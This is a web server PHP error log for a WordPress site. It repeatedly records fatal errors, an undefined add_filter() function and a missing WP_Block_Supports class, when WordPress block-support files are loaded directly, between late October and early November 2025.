  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[28-Oct-2025 20:58:07 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[28-Oct-2025 20:59:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[28-Oct-2025 21:02:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[28-Oct-2025 21:07:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[29-Oct-2025 22:53:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[29-Oct-2025 22:53:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[29-Oct-2025 22:54:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[29-Oct-2025 22:54:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[29-Oct-2025 22:54:18 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[29-Oct-2025 22:54:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[29-Oct-2025 22:54:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[29-Oct-2025 22:54:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[29-Oct-2025 22:55:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[29-Oct-2025 22:55:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[29-Oct-2025 22:55:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[29-Oct-2025 22:56:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[29-Oct-2025 22:56:19 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[29-Oct-2025 22:56:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[29-Oct-2025 22:56:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[30-Oct-2025 01:17:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[30-Oct-2025 01:18:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[31-Oct-2025 11:19:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[31-Oct-2025 11:39:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[31-Oct-2025 12:29:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[31-Oct-2025 13:58:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[31-Oct-2025 15:23:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[31-Oct-2025 15:46:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[31-Oct-2025 17:59:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[31-Oct-2025 18:04:25 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[31-Oct-2025 18:08:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[31-Oct-2025 19:24:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[31-Oct-2025 19:56:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[31-Oct-2025 21:03:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[31-Oct-2025 21:13:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[31-Oct-2025 22:56:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[31-Oct-2025 23:00:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[31-Oct-2025 23:27:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[01-Nov-2025 02:13:42 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[01-Nov-2025 05:11:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[01-Nov-2025 05:11:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[01-Nov-2025 05:12:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[01-Nov-2025 05:21:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[01-Nov-2025 05:28:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[01-Nov-2025 05:29:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[01-Nov-2025 05:29:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[01-Nov-2025 05:38:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[01-Nov-2025 05:39:08 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[01-Nov-2025 05:39:18 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[01-Nov-2025 05:43:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[01-Nov-2025 05:51:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[01-Nov-2025 05:51:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[01-Nov-2025 05:52:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[01-Nov-2025 05:53:43 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[01-Nov-2025 06:04:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[01-Nov-2025 06:08:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[01-Nov-2025 19:25:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[01-Nov-2025 19:27:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[01-Nov-2025 19:29:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[01-Nov-2025 19:30:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[01-Nov-2025 19:33:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[01-Nov-2025 19:34:49 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[01-Nov-2025 19:39:06 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[01-Nov-2025 19:40:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[01-Nov-2025 19:41:07 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[01-Nov-2025 19:42:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[01-Nov-2025 19:45:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[01-Nov-2025 19:49:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[01-Nov-2025 19:53:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[01-Nov-2025 19:53:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[01-Nov-2025 19:54:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[01-Nov-2025 19:55:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[01-Nov-2025 19:58:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[02-Nov-2025 11:23:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[02-Nov-2025 11:28:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[02-Nov-2025 11:30:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[02-Nov-2025 11:31:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[02-Nov-2025 11:33:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[02-Nov-2025 11:34:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[02-Nov-2025 11:35:29 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[02-Nov-2025 11:36:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[02-Nov-2025 11:37:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[02-Nov-2025 11:38:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[02-Nov-2025 11:39:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[02-Nov-2025 11:40:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[02-Nov-2025 11:41:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[02-Nov-2025 11:42:55 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[02-Nov-2025 11:43:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
